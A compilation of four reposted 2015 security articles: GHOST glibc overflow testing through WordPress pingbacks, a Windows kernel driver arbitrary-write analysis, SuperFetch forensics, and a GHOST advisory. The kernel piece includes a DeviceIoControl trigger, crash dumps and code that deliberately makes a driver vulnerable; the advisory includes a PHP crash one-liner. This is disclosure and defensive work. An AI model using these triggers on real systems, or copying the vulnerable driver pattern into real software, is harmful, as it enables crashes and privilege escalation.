GHOST gethostbyname() heap overflow in glibc (CVE-2015-0235) A heap-based buffer overflow vulnerability in glibc (CVE-2015-0235) was announced this week. It seems as though all new vulnerabilities need to have catchy marketing names so this one was dubbed "GHOST" which was derived from the vulnerable glibc function name - "GetHOSTbyname()". Vulnerability Notes Here are the key points thus far: The vulnerability affects all versions of glibc from glibc-2.17 and lower The bug was patched in glibc-2.18 in May 2013, but was not marked as a security bug so the fix did not make it into many common Linux distributions like RedHat and Ubuntu. To our knowledge, this is not currently being exploited in the wild Qualys has not released any PoC code but they plan to release a Metasploit module in the near future. Qualys was able to remotely exploit a mail server running Exim mail software but it’s unclear what other software might be vulnerable. (They are working on a metapsloit module specifically for the Exim exploit) Regarding other Linux server software Qualys wrote: "to the best of our knowledge, the buffer overflow cannot be triggered in any of [these]: apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql, nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd, pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers, vsftpd, xinetd." Wordpress XML-RPC Pingback Vector It has been speculated that the XML-RPC pingback functionality in Wordpress installs may be vulnerable to remote exploitation. We decided to run some tests to see if it is in fact vulnerable. We previously did a blog post outlining how the Wordpress XML-RPC "pingback" functionality could be abused by attackers to force unsuspecting websites into participating in DDoS attacks. To summarize, in that attack, the attacker sends an XML request to the "/xmlrpc.php" script: The YELLOW highlighted data is a WordPress "Patsy Proxy" site while the ORANGE highlighted data is the DDoS target/victim website. In this scenario, the XML-RPC "pingback" code in PHP is using the gethostbyname() function call on the ORANGE highlighted data so that it can resolve it to an IP address for the remote request it will send. This is the exploit vector we chose to focus on for GHOST testing. Modifying Input for GHOST Vulnerability Testing Instead of sending a normal sized URL in the XML pingback.ping method body, we need to send a large one. Here is a Ruby PoC script: The script takes command line arguments for the size of payload that you want to send. During our testing in SpiderLabs Research, we identified different size ranges that worked on different platform/versions of glibc, php and wordpress. After sending the attack payload, we have seen the HTTP process responds with the following: 500 HTTP Response Status code with php-cgi No HTTP Response with mod_php There are errors in the Apache error_log file when the process crashes: This PoC allows users to remotely verify if a target web server is vulnerable to the CVE however it does not demonstrate exploitability. Here is the glibc and php version information for the two systems we used during this test: Recommendations Install glibc Patches Example for Ubuntu Linux Distributions: sudo apt-get clean sudo apt-get update sudo apt-get upgrade And don't forget to reboot! Disable XML-RPC It is possible to disable the XML-RPC process altogether if you do not want to use it. There are even plugins that will disable it. Disable Pingback Requests You may also disable the pingback feature by adding the following to your functions.php file: WAF Protections By using a WAF, you can identify initial pingback XML requests on your Wordpress site and look for attacks. The Trustwave WAF has a profiling and learning engine called "Adaption" that is able to identify these types of anomalies vs. normal user traffic. We have also added rules to our commercial SpiderLabs ModSecurity rules package to identify this specific PoC attack vector. Monitor Your Logs When attackers are attempting to exploit this vulnerability against your web servers, there will most likely be error messages (segmentation faults, etc...) that will indicate a problem. Organizations should be vigilant in monitoring their logs and following up on an anomalous errors. Acknowledgments I would like to thank my fellow SpiderLabs Research colleagues who helped with testing and the content of this blog post: Robert Rowley Christophe De La Fuente Chaim Sanders Felipe Costa Jonathan Claudius Karl Sigler Posted by Ryan Barnett on 29 January 2015 Sursa: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html

Analysis Of An Interesting Windows Kernel Change Mitigating Vulnerabilities In Some Security Products Posted by Parvez on January 28, 2015 Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks. Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems. This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems. The vulnerability The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of theDeviceIOControl function. DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck. Debugger Output In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest kd> !analyze -v *************************************************************************** * * * Bugcheck Analysis * * * *************************************************************************** PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: f4f5f6f7, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name WRITE_ADDRESS: f4f5f6f7 FAULTING_IP: nt!IopCompleteRequest+92 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: dos_greyhat.exe IRP_ADDRESS: 86593dd8 DEVICE_OBJECT: 866e10f0 LAST_CONTROL_TRANSFER: from 804ec11a to 804ec09b STACK_TEXT: f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92 f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3 f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31 f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43 f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8 WARNING: Stack unwind information not available. Following frames may be wrong. f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562 f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31 f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70 f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611 f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall 0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514 STACK_COMMAND: kb FOLLOWUP_IP: ghhpoc+562 f7e99562 ?? ??? SYMBOL_STACK_INDEX: 6 SYMBOL_NAME: ghhpoc+562 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ghhpoc IMAGE_NAME: ghhpoc.sys DEBUG_FLR_IMAGE_TIMESTAMP: 54b18dfe FAILURE_BUCKET_ID: 0x50_ghhpoc+562 BUCKET_ID: 0x50_ghhpoc+562 Followup: MachineOwner --------- kd> r eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7 eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Vulnerable Driver Analysis Reverse engineering the driver the bugcheck is triggered after the call of the functionIofCompleteRequest. The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers. Comparing IRP data Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030 In Windows XP ebx contains pointer to IRP kd> dt nt!_irp @ebx +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x70 +0x00c AssociatedIrp : __unnamed +0x010 ThreadListEntry : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0xc '' +0x028 UserIosb : 0x0012fe18 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : __unnamed +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : __unnamedIn Windows 7 esi contains pointer to IRP kd> dt nt!_irp @esi +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x60030 +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0x6 '' +0x028 UserIosb : 0x0023f7b8 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : <unnamed-tag>IoCompleteRequest Analysis The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck. On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy. The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value. IopXxxControlFile Analysis “So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP. In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7. Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available. On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability. What do these flags values mean? So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions: #define IRP_BUFFERED_IO 0x00000010 #define IRP_DEALLOCATE_BUFFER 0x00000020 #define IRP_INPUT_OPERATION 0x00000040The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h Converting into code it will look something like this // Windows XP Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (pBufferOut) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;// Windows 7 Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (iBufferOutSize) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this if (Irp->Flags & IRP_BUFFERED_IO) { if ((Irp->Flags & IRP_INPUT_OPERATION) && (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED) && !(NT_ERROR(Irp->IoStatus.Status))) { RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); } }Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump. Conditions of a Vulnerable Driver During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field. The following range values indicate error and warning status codes: NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status. So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0. To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place. Irp->IoStatus.Information = 4; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function. Fixing a Vulnerable Driver Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was to check if the output buffer address was in the user space if (Irp->UserBuffer > MmHighestUserAddress) { ntStatus = STATUS_INVALID_PARAMETER; }Another approach was to check the size of the output buffer if (iBufferOutSize < sizeof(ULONG)) { ntStatus = STATUS_INVALID_BUFFER_SIZE; } Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability. I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code? Published Advisories This table below provides information on the products where this vulnerability had been discovered. [TABLE=width: 624] [TR] [TD=width: 85, bgcolor: #33353D]Vendor[/TD] [TD=width: 185, bgcolor: #33353D]Product[/TD] [TD=width: 75, bgcolor: #33353D]OSVDB[/TD] [TD=width: 150, bgcolor: #33353D]CVE ID[/TD] [TD=width: 85, bgcolor: #33353D]Days[/TD] [TD=width: 104, bgcolor: #33353D]Vendor link[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]McAfee[/TD] [TD=width: 158, bgcolor: #33353D]Data Loss Prevention[/TD] [TD=width: 67, bgcolor: #33353D]117345[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2015-1305[/TD] [TD=width: 95, bgcolor: #33353D]99[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Trend Micro[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Plus Internet Security Maximum Security[/TD] [TD=width: 67, bgcolor: #33353D]115514[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9641[/TD] [TD=width: 95, bgcolor: #33353D]70[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Symantec[/TD] [TD=width: 158, bgcolor: #33353D]Altiris Client[/TD] [TD=width: 67, bgcolor: #33353D]116082[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-7286[/TD] [TD=width: 95, bgcolor: #33353D]59[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]AVG[/TD] [TD=width: 158, bgcolor: #33353D]Internet Security[/TD] [TD=width: 67, bgcolor: #33353D]113824[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9632[/TD] [TD=width: 95, bgcolor: #33353D]26[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]K7 Computing[/TD] [TD=width: 158, bgcolor: #33353D]Ultimate Security Anti-Virus Plus Total Security[/TD] [TD=width: 67, bgcolor: #33353D]113007[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9643[/TD] [TD=width: 95, bgcolor: #33353D]22[/TD] [TD=width: 104, bgcolor: #33353D]None[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]BullGuard[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Internet Security Premium Protection Online Backup[/TD] [TD=width: 67, bgcolor: #33353D]114478[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9642[/TD] [TD=width: 95, bgcolor: #33353D]16[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [/TABLE] Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory. For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it. What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too. Other Vendors Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc. Agnitum AhnLab Avast Avira BitDefender ClamAV Comodo Emsisoft Eset Fortinet FRISK Software F-Secure G Data Kaspersky Lab Kingsoft Malwarebytes Nano Security Norman Panda Security Sophos TrustPort ThreatTrack Security Webroot Zemana Other Windows Versions Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so. On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release. There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit. Final thoughts One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro. Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe. I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published. References http://msdn.microsoft.com/en-us/library/ff550694(v=VS.85).aspx http://msdn.microsoft.com/en-gb/library/cc704588.aspx http://msdn.microsoft.com/en-us/library/ff545693.aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff548649(v=vs.85).aspx http://doxygen.reactos.org/d6/dfc/ntoskrnl_2io_2iomgr_2irp_8c_source.html http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf [PDF] http://www.tutorialspoint.com/assembly_programming/assembly_logical_instructions.htm http://blogs.msdn.com/b/doronh/archive/2006/12/12/how-to-return-the-number-of-bytes-required-for-a-subsequent-operation.aspx Sursa: www.greyhathacker.net/?p=818

What is New in Windows Application Execution? Posted by Chad Tilbury Filed under Computer Forensics One of the great pleasures of performing Windows forensics is there is no shortage of application execution artifacts. Application execution tells us what has run on a system and is often the pivot point that reveals important activity on the system. Why was FTP run on this workstation? Is it normal to see execution of winsvchost.exe? Why was a privacy cleaning tool used for the first time during the system owner's last week of work? While undoubtedly useful, our adversaries are more forensic-aware than ever and often take steps to eliminate application execution artifacts. At CrowdStrike we routinelyencounter nation-state groups that attempt to delete Prefetch. Even the popular CCleaner anti-forensics tool defaults to clearing Prefetch and UserAssist data. Hence having additional sources of data can often mean the difference between an easy examination and a long, painful one. UserAssist, Muicache and Prefetch have been long understood and even significantly upgraded in newer versions of Windows. Jared Atkinson and Yogesh Khatri provided excellent updates on Prefetch changes in Windows 8. More recently, Andrew Davis documented the Application Compatibility Cache (Shimcache) and Corey Harrell posted information on the RecentFileCache.bcf file. Yogesh Khatri followed up with Amcache.hve, the replacement to RecentFileCache.bcf in Windows 8. All of these artifacts have particular strengths and weaknesses, but one we haven't heard much about lately is SuperFetch. SuperFetch SuperFetch has been on the forensic radar since the preview versions of Windows Vista. It was lauded as an upgrade to the venerable Prefetch with the promise to proactively optimize application memory with regards to time and usage scenarios. The applications you use first thing in the morning are often different than those after lunch and perhaps different still from those run after work hours. It is important to note that it does not replace the Prefetch service. SuperFetch must have had the desired effect on performance as Microsoft chose to continue its use in Windows 8.1 and Windows 10.SuperFetch consists of a series of "Ag*.db" database files located in the %SystemRoot%\Prefetch folder. It is wildly complicated with a variety of different header formats for different databases, versions and architectures (x86 and x64) of Microsoft operating systems. On systems with SSD drives, it may be turned off by default (similar to Prefetch). There are still many gaps in our knowledge of SuperFetch, but it feels like the community is inching closer. Joachim Metz started a specification document for the format In April of 2014 as part of thelibyal documentation project. However, the number of "Unknown" values in the document make it clear that we have a way to go in developing a true understanding. Parsing SuperFetch SuperFetch tracks "performance scenarios" and is specifically designed to anticipate frequently run applications after system activity like standby mode, hibernation, and fast-user switching. It records the set of memory pages used over a long period of time, allowing it to model user behavior and make better decisions about when to pre-load application data into memory. It is these databases recording what has been loaded in the past that we can take advantage for application execution artifacts. We can currently derive the following information: Application executable names Execution count Foreground count Supporting files (includes the full paths of a wide range of files that have been mapped into memory including DLLs, zip files, documents, database files, and files and folders present on removable media, the Recycle Bin, temp folders, and even Volume Shadow Copies and encrypted volumes) Volumes accessed (example: HardDiskVolume1) Full path information providing data on folders present on various volumes access by the system Timeframes of application activity Timestamp (from the AgAppLaunch database - purpose unknown but appears to not be reliably tied to execution time in testing) The timeframes of application activity fall into the following ranges: Weekday 6AM to 12PM Weekday 12PM to 6PM Weekday 6PM to 12AM Weekday Global Weekend 6AM to 12PM Weekend 12PM to 6PM Weekend 6PM to 12AM Weekend Global Curiously there seems to be a blind spot in the 12AM to 6AM range. Good thing so many hackers are working business hours these days! While timeframe information stored by SuperFetch has yet to be vetted for its reliability, it presumably could help identify application activity occurring at strange times. For instance, is it normal to see your company database application accessed over the weekend? Tools The first tools that I became aware of for parsing SuperFetch were released by TMurgent. Superfetchlist.exeis a CLI tool providing full path information for files referenced in the various SuperFetch databases.SuperFetch Tree is a clever GUI application that provides a graphical tree structure and neatly identifies what databases a given file or folder were referenced within. A few days ago I posted on the CrowdStrike blog about the latest version of the free CrowdResponse tool now supporting Prefetch, Shimcache, and SuperFetch application execution artifacts. CrowdResponse includes a SuperFetch module providing the most solid and useful data from this artifact that I have seen. It is the brainchild of research and development by Alex Ionsecu and Robin Keir and can be used for live data collection or run against databases files exported from a system or forensic image. CrowdResponse parses data from the AgAppLaunch.db SuperFetch database and provides output in XML, CSV, or HTML. The tool extracts an abundance of application execution information, execution counts, and timeframe information. Conclusion It is exciting to have the capability to parse yet another Windows application execution artifact. However, given the state of our knowledge of SuperFetch, I recommend taking a cautionary approach to interpreting data found within these files. There is still much to be discovered, and the good news is that early indications show this artifact will likely continue to exist in Windows 10. Hopefully with more eyes on the databases we can get more comfortable with the available data and continue to learn more. References: [1] Forensics Wiki: SuperFetch [2] Inside the Windows Vista Kernel: Part 2 [3] Windows SuperFetch (DB) Format from libyal Project [4] SuperFetch Tools from TMurgent [5] CrowdResponse with @superfetch plugin Chad Tilbury, GCFA, serves as a Technical Director for CrowdStrike and has spent over fifteen years conducting computer crime investigations ranging from hacking to espionage to multi-million dollar fraud cases. He is a Senior Instructor and co-author of FOR408 Windows Forensics and FOR508 Advanced Computer Forensic Analysis and Incident Response at the SANS Institute. Find him on Twitter @chadtilbury. Sursa: http://digital-forensics.sans.org/blog/2015/01/28/whats-new-in-windows-application-execution

Critical “GHOST” Vulnerability Released By Marc-Alexandre Montpas on January 28, 2015 . 3 Comments A very critical vulnerability affecting the GNU C Library (glibc) is threatening Linux servers for a remote command execution. This security bug was discovered by Qualys security researchers and will probably cause a lot of headaches to those who won’t update right away. Where does the issue come from? This is a buffer overflow issue in glibc’s function __nss_hostname_digits_dots(), which is itself used by multiple others like gethostbyname() and gethostbyname2(). This is a critical issue as these functions are used in an enormous amount of software and server-level mechanisms. An attacker would need to send a very specific set of bytes to the function in order to trigger the bug and attempt to get command execution privileges on the victim’s server. What does it affect exactly? So far, these applications have been proven to fall to the aforementioned attack: clockdiff procmail (through its comsat/biff feature) pppd Exim mail server (if configured with the “helo_verify_hosts” or “helo_try_verify_hosts” options) We also have good reasons to believe PHP applications might also be affected, through itsgethostbyname() function wrapper. An example of where this could be a big issue is within WordPress itself: it uses a function named wp_http_validate_url() to validate every pingback’s post URL: …and it does so by using gethostbyname(). So an attacker could leverage this vector to insert a malicious URL that would trigger a buffer overflow bug, server-side, potentially allowing him to gain privileges on the server. Update as soon as possible! This is a very critical vulnerability and should be treated as such. If you have a dedicated server (or VPS) running Linux, you have to make sure you update it right away. We know for a fact that Centos/RHEL/Fedora 5,6,7 as vulnerable, as well as some Ubuntu versions. As a quick test, if you run the following PHP code on your terminal: php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);' Segmentation fault And get a segmentation fault, it means your server is vulnerable. Be sure to watch for your distribution’s fix for the patch (yum update is your friend). Sursa: Critical “GHOST” Vulnerability Released | Sucuri Blog